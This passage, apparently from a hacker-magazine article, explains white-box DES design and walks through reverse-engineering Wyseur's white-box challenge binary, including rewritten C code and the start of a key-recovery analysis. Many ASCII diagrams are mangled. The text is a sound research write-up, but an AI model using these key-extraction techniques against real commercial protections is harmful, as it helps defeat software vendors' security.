| .‑‑‑‑‑‑‑‑‑‑32b

| | v

| | .‑‑‑‑‑‑‑

32b | 32b | | E‑box |

| | '‑‑‑‑‑‑‑

| | 48b

v v v Mem1 Mem2 Mem3

At this point the internal state is composed of 32 x 2 + 48 = 112 bits which is the maximum required size before being shrunken to a 64 bits state at the end of the round: L(r+1) || R(r+1). To avoid any information leak, a unique ‑constant size‑ state is used to hide the position of the bits.

If you remember 5.1 paragraph, the E‑Box is duplicating 16 out of the 32 bits of R(r). As a result, constructing 'Mem2' can be done extracting 16 bits out of R(r) and the 16 remaining ones out of 'Mem3'. With this property, the internal state is composed of 96 bits. Here is a diagram ripped from [R17] to understand how the primitive is modified to handle this 96 bits state:

32b 48b 16b

************** **********

state 1: * L(r) * * X(r) * * r(r) *

************** **********

| |

| v | |

| ********* ....v

| * sK(r) *‑‑> . + . | .‑‑‑‑‑‑‑.

| ********* ....Merge )

| |

| v |

| .‑‑‑‑‑‑‑‑

| \ S / |

| '‑‑‑‑‑‑

| |

32b v v 32b 32b v

************** **********

state 2: * L(r) * * Y(r+1) * * R(r) *

************** **********

|

v | |

..... .‑‑‑‑‑‑‑‑.

. + .<‑‑‑| P |<‑' |

..... '‑‑‑‑‑‑‑‑'

|

32b '‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 32b v v 32b

| .‑‑‑

| / E‑box \ ( Select )

| 32b '‑‑‑‑‑‑‑‑‑‑‑' '‑‑‑‑‑‑'

|

v 48b v v 16b

************** **********

state 3: * L(r+1) * * X(r+1) * *r(r+1)*

************** **********

With:

‑ sK(r) being the subkey of round r

‑ X(r) being the output of the E‑box of round r‑1 ‑ Y(r) being the output of the SBox of round r‑1 ‑ r(r) being the complementary bits so that X(r) and r(r) is a duplication of R(r)

b) Input and outputs between elementary operations are protected using what is called the "internal encodings". These encodings are applied to functions implemented as lookup tables.

Let's take an example. You are chaining f() and g() which means that you are calculating the composition g() o f(). Obviously without any protection, an attacker can intercept the result of f() at debug time (e.g. by putting a breakpoint at the entry of g())

Now if you want to protect it, you can generate a random bijection h() and replace f() and g() by F() and G() where:

F() = h() o f()

G() = g() o h()^‑1

Note: Again this is a mere example, we do not care about the {co}domain consideration.

These functions are evaluated and then expressed as lookup tables. Obviously this will not change the output as:

G() o F() = (g() o h()^‑1) o (h() o f()) = g() o (h()^‑1 o h()) o f() [associativity] = g() o f()

But the difference is that intercepting the output of F() doesn't give the output of f(). Pretty cool trick, right?

However I've just written that WB DES implementations were always manipulating 96 bits states. Then does it mean that we need lookup tables of 2^96 entries? No, this would be troublesome ;> We can use the so called "path splitting" technique.

Consider the example of a 32 bits buffer. To avoid using a huge lookup table, you can consider that this buffer is an 8 bits array. Each element of the array will then be obfuscated using a corresponding 8 bits lookup table as described below:

************************

* IN[0] || IN[1] || IN[2] || IN[3] *

************************

| |

| |

v v v v

.‑‑‑‑‑‑‑. .‑‑‑‑‑‑‑. .‑

| 2^8 B | | 2^8 B | | 2^8 B | | 2^8 B |

'‑‑‑‑‑‑‑' '‑‑‑‑‑‑‑' '‑

| |

| |

v v v v

************************

* OUT[0] || OUT[1] || OUT[2] || OUT[3] *

************************

I took the example of an 8 bits array but I could have used any size. Something really important to understand: the smaller the lookup table is, the more it will leak us information. Keep it in mind.

c) Do you remember when I said that a WB implementation was the exact implementation of the corresponding crypto primitive? Well it's not true. Or you could say that I was simplifying things ^_~

Most of the time (in real life), WB_DES() is a G() o DES() o F() where F() and G() are encoding functions. So the first input (plaintext) and the last output (ciphertext) may be obfuscated as well. This is called an "external encoding" and this is used to harden the white‑box implementation. Indeed if there were no such functions, first & last rounds would be weaker than other rounds. This 'academic' protection aims at preventing trivial key recovery attacks. A WB implementation without external encoding is said to be 'naked'.

In the context of real life protections, it may (or may not) be associated with an additional layer to protect the I/O before & after the encryption. It would be bad to intercept the plaintext once decrypted, right? Commercial protections almost never use native implementations for (at least) this reason. Intercepting a plaintext is indeed far easier than recovering the encryption key.

In the WB DES case, common academic designs use affine functions, encoded or not.

Transforming DES functions

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Now that we've had an overview of how I/O were protected between elementary functions, let's see how we can build said functions.

a) The partial evaluation

This is probably the most intuitive part of the WB implementation. This is about 'fusing' the S‑Boxes with the round‑keys. This is exactly what was performed in the previous AES challenge. If you can remember, this is also the first example that I gave at the beginning of the paper to introduce the white‑boxing concept.

Using the previous diagram, it means that we want to convert this step:

32b 48b 16b

************** **********

* L(r) * * X(r) * * r(r) *

************** **********

| |

| v | |

| ****** ....v

| * sK *‑‑> . + . | .‑‑‑‑‑‑‑.

| ****** ....Merge )

| |

| v |

| .‑‑‑‑‑‑‑‑

| \ S / |

| '‑‑‑‑‑‑

| |

32b v v 32b 32b v

************** **********

* L(r) * * Y(r+1) * * R(r) *

************** **********

into this one:

*************************

* state 1 (12 x 8 = 96 bits) *

*************************

| | |

v v v v

.‑‑‑‑‑..‑‑‑‑‑..‑‑‑‑‑.

| T0 || T1 || T2 | ... | T11 |

'‑‑‑‑‑''‑‑‑‑‑''‑‑‑‑‑'

| | |

v v v v

*************************

* state 2 (96 bits) *

*************************

A lookup table Ti (mapping a byte to a byte) is called a 'T‑Box'. There are two types of T‑Box because of the heterogeneity of the operations performed on the state:

‑ The non neutral T‑box. They are the 8 T‑boxes involved with the Sbox and the XOR. Each of them is concealing an Sbox and a subkey mixing.

input:

‑> 6 bits from X(r) to be mixed with the subkey ‑> 1 bit from L(r) or r(r) ‑> 1 bit from L(r) or r(r) output:

‑> 4 bits from the Sbox ‑> 2 bits from X(r) taken from the input before being mixed with the subkey ‑> 1 bit from L(r) or r(r) ‑> 1 bit from L(r) or r(r)

‑ The neutral T‑box which are only used to connect bits of state 1 to bits of state 2. For example the bits of L(r) are never involved in any operation between state 1 and state 2.

input:

‑> 1 bit from L(r) or r(r) ‑> 1 bit from L(r) or r(r)

[...]

‑> 1 bit from L(r) or r(r) output:

‑> the input (permuted)

Keep in mind that in each case, you have a 'nibble view' of both inputs and outputs. Moreover, permutations are used to make harder the localization of Sbox upon a simple observation. To have a better understanding of this point as well as associated security explanations I recommend to read [R09].

b) The AT transformation

We now want to transform this:

************** **********

state 2: * L(r) * * Y(r+1) * * R(r) *

************** **********

|

v | |

..... .‑‑‑‑‑‑‑‑.

. + .<‑‑‑| P |<‑' |

..... '‑‑‑‑‑‑‑‑'

|

32b '‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 32b v v 32b

| .‑‑‑

| / E‑box \ ( Select )

| 32b '‑‑‑‑‑‑‑‑‑‑‑' '‑‑‑‑‑‑'

|

v 48b v v 16b

************** **********

state 3: * L(r+1) * * X(r+1) * *r(r+1)*

************** **********

into this:

*************************

* state 2 (96 bits) *

*************************

| | |

v v v ... v

?????????????????????????

| | |

v v v v

*************************

* state 3 (96 bits) *

*************************

To put it simply, and as said earlier, the combination of the P‑Box and the following XOR is an affine function. Because we want to use lookup tables to implement it we will have to use a matrix decomposition.

Let's take an example. You want to protect a 8x8 bit‑matrix multiplication. This matrix (M) can be divided into 16 2x2 submatrix as shown below:

.‑‑‑‑. .‑‑‑‑.‑‑‑‑.‑‑‑‑.‑‑

| Y0 | | A | B | C | D | | X0 |

.‑‑‑‑. .‑‑‑‑.‑‑‑‑.‑‑‑‑.‑‑

| Y1 | | E | F | G | H | | X1 |

.‑‑‑‑. = .‑‑‑‑.‑‑‑‑.‑‑‑‑.‑‑x .‑‑‑‑.

| Y2 | | I | J | K | L | | X2 |

.‑‑‑‑. .‑‑‑‑.‑‑‑‑.‑‑‑‑.‑‑

| Y3 | | M | N | O | P | | X3 |

'‑‑‑‑' '‑‑‑‑'‑‑‑‑'‑‑‑‑'‑‑

Vector Y Matrix M Vector X

Here the Yi and Xi are 2 bits sub‑vectors while A,B,C,etc. are 2x2 bit‑submatrix. Let's focus on Y0, you can write:

Y0 = A*X0 [+] B*X1 [+] C*X2 [+] D*X3

Because A,B,C and D are constants it's possible to evaluate the multiplications and build the corresponding lookup tables (Li). This gives the following diagram:

****** ****** ******

* X0 * * X1 * * X2 * * X3 *

****** ****** ******

| | |

v v v v

.‑‑‑‑. .‑‑‑‑. .‑‑‑‑.

| L0 | | L1 | | L3 | | L4 |

'‑‑‑‑' '‑‑‑‑' '‑‑‑‑'

| | |

| ..... | | ..

'‑>. + .<‑' '‑>.

..... ..

|

| .....

'‑‑‑‑‑‑>. + .<‑‑‑‑‑‑

.....

|

v

******

* Y0 *

******

You may object (and you would be right) that information is still leaking and that it would be easy to retrieve the original matrix. Well it's true. Thus to avoid this kind of situation two techniques are used:

‑ Each XOR operation is hidden inside a lookup table. In our example,

the resulting lookup tables have 2^(2x2) = 16 entries and 2^2 = 4 outputs (hence a size of 4x16 = 64 bits).

‑ Internal encoding (remember the previous explanations) is used to protect the I/O between the lookup tables.

Our matrix multiplication becomes:

****** ****** ****** ******

* X0 * * X1 * * X2 * * X3 *

****** ****** ****** ******

| | | |

v v v v

2b 2b 2b 2b

<‑‑‑‑><‑‑‑‑> <‑‑‑‑><‑‑‑‑>

.‑‑‑‑‑‑‑‑‑‑. .‑‑‑‑‑‑‑‑‑‑.

\ S0 / \ S1 /

'‑‑‑‑‑‑' '‑‑‑‑‑‑'

<‑‑‑‑> <‑‑‑‑>

2b 2b

\ /

\ /

| |

v v

2b 2b

<‑‑‑‑><‑‑‑‑>

.‑‑‑‑‑‑‑‑‑.

\ S2 /

'‑‑‑‑‑‑'

<‑‑‑‑>

2b

|

v

******

* Y0 *

******

This is called an 'encoded network'. The main side effect of this construction is the important number of lookup tables required.

‑‑[ 6 ‑ Breaking the second case: Wyseur's challenge

‑‑‑‑[ 6.1 ‑ Reverse engineering of the binary

As far as I can tell, there is an obvious need to rewrite the binary as C code because:

‑ We need to understand exactly what's going on from a mathematical point of view and C is more suitable than ASM for that purpose

‑ Rewriting the functions will allow us to manipulate them easily with our tools. This is not mandatory though because we could be using debugging functions on the original binary itself.

Again I won't detail all the reverse engineering process because this is neither the main topic nor very hard anyway compared to what you may find in the wild (in commercial protections).

High level overview

‑‑‑‑‑‑‑‑‑‑‑‑‑

Let's begin by running the executable:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ ./wbDES.orig

Usage: ./wbDES.orig <INPUT>

Where <INPUT> is an 8‑byte hexadecimal representation of the input to be encrypted

Example: ./wbDES.orig 12 32 e7 d3 0f f1 29 b3

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

OK so we need to provide the 8 bytes of the plaintext as separate arguments in the command line. Hum, weird but OK. When the binary is executed, the first thing performed is a conversion of the arguments because obviously a suitable buffer for cryptographic operations is necessary. The corresponding instructions were rewritten as the following C function:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

// I even emulated a bug, will you find it? ;>

inline void convert_args(char **argv)

{

int i = 0; // ebp‑50h

while(i <= 7)

{

char c;

c = argv[1+i][0];

if(c <= '9')

{

c ‑= '0'; // 0x30 = integer offset in ASCII table

in[i] = (c<<4);

}

else

{

c ‑= ('a' ‑ 10);

in[i] = (c<<4);

}

c = argv[1+i][1];

if(c <= '9')

{

c ‑= '0'; // 0x30 = integer offset in ASCII table

in[i] ^= c;

}

else

{

c ‑= ('a' ‑ 10);

in[i] ^= c;

}

i++;

}

return;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Once the job is done, an 8 bytes buffer (in[8], the plaintext) is built. This is where serious business begins. Thanks to the Control Flow Graph provided by your favorite disassembler, you will quickly identify 3 pseudo functions* :

‑ wb_init(): 0x0804863F to 0x08048C1D

This code takes an 8 bytes buffer, returns 1 byte and is called 12 times by main(). Thanks to this, a 12 x 8 = 96 bits buffer is built. As said earlier, the WB is operating on 96 bits states so this is most likely the initialization function.

‑ wb_round(): 0x08048C65 to 0x08049731

This code takes the 12 bytes buffer generated by wb_init() as input and modifies it. The function is called 16 times by main(). Because 16 is exactly the number of DES rounds, assuming it is the round function seems fair.

‑ wb_final(): 0x08049765 to 0x08049E67

This code takes the last buffer returned by wb_round() as input and returns an 8 bytes buffer which is printed on the screen. So we can assume that this is the termination function in charge of building the DES ciphertext out of the last internal state.

*: There is no 'function' in this program, probably because of an inlining, but we can still distinguish logical parts.

You may argue that attributing roles to wb_init, wb_round and wb_final is a bit hasty but there is something interesting in the code: symbols! In each of these functions, an array of lookup tables is used and named 'Initialize', 'RoundAffineNetwork' and 'FinalRoundNetwork' in the corresponding functions. Convenient isn't it?

Usually in commercial protections, engineers will take care of little details such as this and try to avoid leaking any information. In this case however, it can be assumed that the focus is on the cryptography as there are neither anti‑debugs nor anti‑disassembling protections so it should be safe to trust our intuition.

Thanks to this first reverse engineering step, we're able to rewrite a similar main function:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ wb_main.c ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

unsigned char in[8]; // ebp‑1Ch

unsigned char out[12]; // ebp‑28h

unsigned char temp[12]; // ebp‑34h

[...]

int main(int argc, char **argv)

{

if( argc != 9)

{

printf(usage, argv[0], argv[0]);

return 0;

}

/* Fill the in buffer */

convert_args(argv);

/* and print it :) */

printf("\nINPUT: ");

for(j=0; j<8; j++)

printf("%02x ", in[j]);

/* WB initialisation */

for(j=0; j<12; j++)

wb_init(j);

round_nbr = 0;

for(round_nbr=0; round_nbr<15; round_nbr++)

{

memcpy(temp, out, 12);

wb_round();

}

/* Building the final buffer */

printf("\nOUTPUT: ");

for(j=0; j<8; j++)

wb_final(j);

printf("\n");

return 0;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ wb_main.c ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

One hint to speed up things: always focus first on the size and nature of buffers transmitted to the different sub‑functions.

Reversing wb_init()

‑‑‑‑‑‑‑‑‑‑‑‑

It is now time to have a look at the first function. Again I won't detail the whole reverse engineering but rather give you a few explanations:

‑ Whenever the function is called, it uses a set of 15 lookup tables whose addresses are dependent of both the index in the output array and the index of the box itself (amongst the 15 used by the function).

This means that the sets of tables used to calculate OUT[x] and OUT[y] when x!=y are (likely to be) different and for a same OUT[x], different tables will be applied to IN[a] and IN[b] if a!=b.

‑ All of these lookup tables are located at:

Initialize + 256*idx_box + OUT_idx*0xF00 where:

> idx_box is the index of the box amongst the 15 > OUT_idx is the index in the output array (OUT)

‑ The tables are static. Thanks to this property we can dump them whenever we want. I chose to write a little GDB script (available in appendix) to perform this task. The export is an array of lookup tables (iBOX_i) written in C language.

‑ wb_init() is performing operations on nibbles (4 bits) so for a particular output byte (OUT[m]), the generation of the 4 least significant bits is independent of the generation of the 4 most significant ones.

Now with this information in mind, let's have a look at the reversed wb_init() function:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ wb_init.c ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

unsigned char p[8];

inline void wb_init(

int m // ebp‑48h

)

{

unsigned int temp0; // ebp‑228h

unsigned int temp1; // ebp‑224h

[...]

unsigned int temp23; // ebp‑1CCh

unsigned int eax,ebx,ecx,edx,edi,esi;

bzero(p,sizeof p);

p[0] = iBOX_0[m][in[0]];

p[1] = iBOX_1[m][in[1]];

p[2] = iBOX_2[m][in[2]];

p[3] = iBOX_3[m][in[3]];

p[4] = iBOX_4[m][in[4]];

p[5] = iBOX_5[m][in[5]];

p[6] = iBOX_6[m][in[6]];

p[7] = iBOX_7[m][in[7]];

// First nibble

ecx = (0xF0 & p[0]) ^ ( p[1] >> 4 );

temp3 = 0xF0 & iBOX_8[m][ecx];

ecx = (0xF0 & p[2]) ^ ( p[3] >> 4 );

eax = iBOX_9[m][ecx] >> 4;

ecx = temp3 ^ eax;

temp6 = 0xF0 & iBOX_12[m][ecx];

ecx = (0xF0 & p[4]) ^ ( p[5] >> 4 );

eax = iBOX_10[m][ecx] >> 4;

ecx = temp6 ^ eax;

edi = 0xF0 & iBOX_13[m][ecx];

ecx = (0xF0 & p[6]) ^ ( p[7] >> 4 );

eax = iBOX_11[m][ecx] >> 4;

ecx = edi ^ eax;

edx = iBOX_14[m][ecx];

esi = edx & 0xFFFFFFF0;

// Second nibble

ecx = (0x0F & p[1]) ^ (0xF0 & ( p[0] << 4 ));

temp15 = 0xF0 & ( iBOX_8[m][ecx] << 4);

ecx = (0x0F & p[3]) ^ (0xF0 & ( p[2] << 4 ));

eax = 0x0F & ( iBOX_9[m][ecx] );

ecx = temp15 ^ eax;

temp18 = 0xF0 & ( iBOX_12[m][ecx] << 4 );

ecx = (0x0F & p[5]) ^ (0xF0 & ( p[4] << 4 ));

eax = 0x0F & iBOX_10[m][ecx];

ecx = temp18 ^ eax;

temp21 = 0xF0 & (iBOX_13[m][ecx] << 4);

ecx = (0x0F & p[7]) ^ (0xF0 & ( p[6] << 4 ));

eax = 0x0F & ( iBOX_11[m][ecx] );

ecx = temp21 ^ eax;

eax = 0x0F & ( iBOX_14[m][ecx] );

// Output is the combination of both nibbles

eax = eax ^ esi;

out[m] = (char)eax;

return;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ wb_init.c ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In a nutshell:

‑ & (AND) and >>/<< (SHIFTS) are used to operate on nibbles ‑ ^ (XOR) are used to concatenate nibbles in order to build the entries (which are bytes) of the iBOX_i lookup tables ‑ The output byte out[m] is the concatenation of two independently calculated nibbles

To understand exactly what's going on, a drawing is much clearer. So thanks to asciio [R11] this gives us something like this:

******** ******** ******** ******** *

* IN_0 * * IN_1 * * IN_2 * * IN_3 * * IN_4 * * IN_5 * * IN_6 * * IN_7 *

******** ******** ******** ******** *

| | | |

H | H | H | H | H | H | H | H | v v v v v v v v

<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ 8x8 = 64 bits ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>

.‑‑‑‑‑‑‑..‑‑‑‑‑‑‑. .‑‑‑‑‑‑‑..‑‑‑‑‑‑‑. .‑

\iBox_0 /\iBox_1 / \iBox_2 /\iBox_3 / \iBox_4 /\iBox_5 / \iBox_6 /\iBox_7 /

'‑‑‑‑‑' '‑‑‑‑‑' '‑‑‑‑‑' '‑‑‑‑‑' '

<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ 8x4 = 32 bits ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>

\ / \ /

H \ / H H \ / H H \ / H H \ / H v v v v v v v v

.‑‑‑‑‑‑‑‑‑. .‑‑‑‑‑‑‑‑‑.

\ iBox_8 / \ iBox_9 / \ iBox_10 / \ iBox_11 /

'‑‑‑‑‑‑‑' '‑‑‑‑‑‑‑'

<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ 4x4 = 16 bits ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>

\ /

H \ / H H \ / H

\ /

v v v v

.‑‑‑‑‑‑‑‑‑.

\ iBox_12 / \ iBox_13 /

'‑‑‑‑‑‑‑'

<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ 2x4 = 8 bits ‑‑‑‑‑‑‑‑‑‑‑>

\

\ H H /

'‑‑‑‑‑‑‑‑‑.

|

v v

.‑‑‑‑‑‑‑

\ iBox_14 /

'‑‑‑‑‑‑

<‑ 1x4 bits ‑>

\

H \ 8 bits

\

Concatenation '‑‑‑> *********** of nibbles * OUT_x *

/

L /

/

<‑ 1x4 bits ‑>

.‑‑‑‑‑‑

/ iBox_14 \

'‑‑‑‑‑‑‑

^

L | | L

.‑‑‑‑‑‑‑‑'

/

/

<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ 2x4 = 8 bits ‑‑‑‑‑‑‑‑‑‑‑>

.‑‑‑‑‑‑‑.

/ iBox_12 \ / iBox_13 \

'‑‑‑‑‑‑‑‑‑'

^ ^

/ \

L / \ L L / \ L

/ \

<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ 4x4 = 16 bits ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>

.‑‑‑‑‑‑‑. .‑‑‑‑‑‑‑.

/ iBox_8 \ / iBox_9 \ / iBox_10 \ / iBox_11 \

'‑‑‑‑‑‑‑‑‑' '‑‑‑‑‑‑‑‑‑'

^ ^ ^ ^

L / \ L L / \ L L / \ L L / \ L

/ \ / \

<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ 8x4 = 32 bits ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>

.‑‑‑‑‑. .‑‑‑‑‑. .‑‑‑‑‑. .‑‑‑‑‑. .

/iBox_0 \/iBox_1 \ /iBox_2 \/iBox_3 \ /iBox_4 \/iBox_5 \ /iBox_6 \/iBox_7 \

'‑‑‑‑‑‑‑''‑‑‑‑‑‑‑' '‑‑‑‑‑‑‑''‑‑‑‑‑‑‑' '‑

<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ 8x8 = 64 bits ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>

^ ^ ^ ^

L | L | L | L | L | L | L | L |

| | | |

******** ******** ******** ******** *

* IN_0 * * IN_1 * * IN_2 * * IN_3 * * IN_4 * * IN_5 * * IN_6 * * IN_7 *

******** ******** ******** ******** *

In this case, 'H' is used as a suffix to identify the most significant (High) nibble of a particular byte. As you can see, the input (respectively the output) is not an 8 (respectively 12) _bytes_ array but rather a 16 (respectively 24) _nibbles_ array. Indeed, each byte array (iBox_i) stores exactly 2 lookup tables. We say that such lookup tables are 'compacted', see [R14] for additional details.

Global description

‑‑‑‑‑‑‑‑‑‑‑‑

Good news guys, the wb_init(), wb_round() and wb_final() functions are composed of the same nibble oriented patterns. So basically wb_round() and wb_final() contain also AT applied to a nibbles array and the end of the reverse engineering is quite straightforward.

Remark: Manipulating nibbles implies that the internal encoding is performed using 4 bits to 4 bits bijections.

Again thanks to asciio, we're able to draw something like that:

8 x (2x4) = 64 bits

<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

2x4 = 8 bits

<‑‑‑‑>

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| .‑‑‑‑‑. .‑‑‑‑‑. .‑‑INPUT |

.‑‑‑‑| IN0 | | IN1 | ... | IN7 | | '‑‑‑‑‑‑‑‑‑‑‑'

| | '‑‑‑‑‑' '‑‑‑‑‑' '‑‑

v '‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑' v

| v | .‑‑‑‑

|‑‑‑‑‑‑‑‑<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑<‑‑‑‑‑‑‑wb_init func )

|

.‑‑‑‑‑v‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|.‑‑‑‑‑‑‑‑. .‑‑‑‑‑‑‑‑.

|| STG0_0 | | STG0_1 | ... | STG0_11 || |

|'‑‑‑‑‑‑‑‑' '‑‑‑‑‑‑‑‑'

'‑‑‑‑‑|‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | v

| v |

| | wb_round func )

'‑‑‑>‑‑‑‑‑|‑‑‑‑‑‑‑<‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|.‑‑‑‑‑‑‑‑. .‑‑‑v‑‑‑‑. .‑‑‑‑‑‑‑‑‑.|

|| STG1_0 | | STG1_1 | ... | STG1_11 || |

|'‑‑‑‑‑‑‑‑' '‑‑‑‑‑‑‑‑'

'‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

2x4bits

<‑‑‑‑‑‑‑‑> 12 x (2x4) = 96 bits |

<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

v

... 15x ( wb_round func )

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|.‑‑‑‑‑‑‑‑‑..‑‑‑‑‑‑‑‑‑.

|| STG14_0 || STG14_1 | ... | STG14_11 || |

|'‑‑‑‑‑‑‑‑‑''‑‑‑‑‑‑‑‑‑'

'‑‑‑‑‑|‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑v

| v |

| | wb_final func )

'‑‑‑‑‑>‑‑‑‑‑<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

.‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑v

|.‑‑‑‑v‑. .‑‑‑‑‑‑. .‑‑‑‑‑‑.|

|| OUT0 | | OUT1 | ... | OUT7 || | OUTPUT |

|'‑‑‑‑‑‑' '‑‑‑‑‑‑' '‑‑

'‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

2x4bits

<‑‑‑‑‑‑>

8 x (2x4) = 64 bits

<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Writing the C code corresponding to these functions is not difficult though a bit boring (not to mention prone to mistakes). I was able to rewrite the whole binary in a few hours (and it took me almost the same time to make it work :O). The source code is available in the appendix.

Remark: I've not tried to use Hex‑Rays on the binary but it could be interesting to know if the decompilation is working out of the box.

It's easy to see that my source code is functionally equivalent on the input/output behavior:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ ./wbDES.orig 11 22 ff dd 00 11 26 93 <‑ the original

INPUT: 11 22 ff dd 00 11 26 93

OUTPUT: 04 e9 ff 8e 2e 98 6c 6b

$ make

$ ./wbdes.try 11 22 ff dd 00 11 26 93 <‑ my copy :)

INPUT: 11 22 ff dd 00 11 26 93

OUTPUT: 04 e9 ff 8e 2e 98 6c 6b

$

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Now let's try to break the white‑box. We will proceed in two steps which is exactly how I handled the challenge. What is described is how I proceeded as I wasn't following academic publications. I don't know if it's a better approach or not. It's just my way of doing things and because I'm not a cryptographer, it's _practical_. If you prefer more _theoretical_ solutions, please refer to [R04] for a list of papers dealing with the subject.

‑‑‑‑[ 6.2 ‑ The discovery step

First of all, let's gather some information about this white‑box. There is a first immediate observation: there is no explicit T‑box step which proves that it is combined with the AT step in a same function. This is an optimization which was historically proposed in [R14] in order to protect the output of the T‑box and, as a result, to mitigate the so‑called statistical bucketing attack described in [R09] while compressing the implementation by merging operations.

I used this information as well as the size of the binary (which is a bit more than the size of the lookup tables) as indicators of how recent the design could be. I didn't have the time to read all the white‑box related papers (although there are not a thousand of them).

Analyzing the wb_init()

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Earlier, I've made assumptions about wb_init() and wb_round() but at this point little is really known about them. Now is the time to play a bit with wb_init() and by playing I mean discovering the "link" between the input (plaintext) and the input of wb_round() which will be called "stage0" from now on.

Let's begin by a quick observation. As said before, for each output byte of wb_init(), there is a corresponding set of 14 (condensed) iBox_i. A simple glance at these boxes is enough to determine that for each set, the 8 first iBox_i have a very low entropy. Conversely, the remaining 5 ones have a high entropy:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[...]

unsigned char iBOX_3[12][256] = {

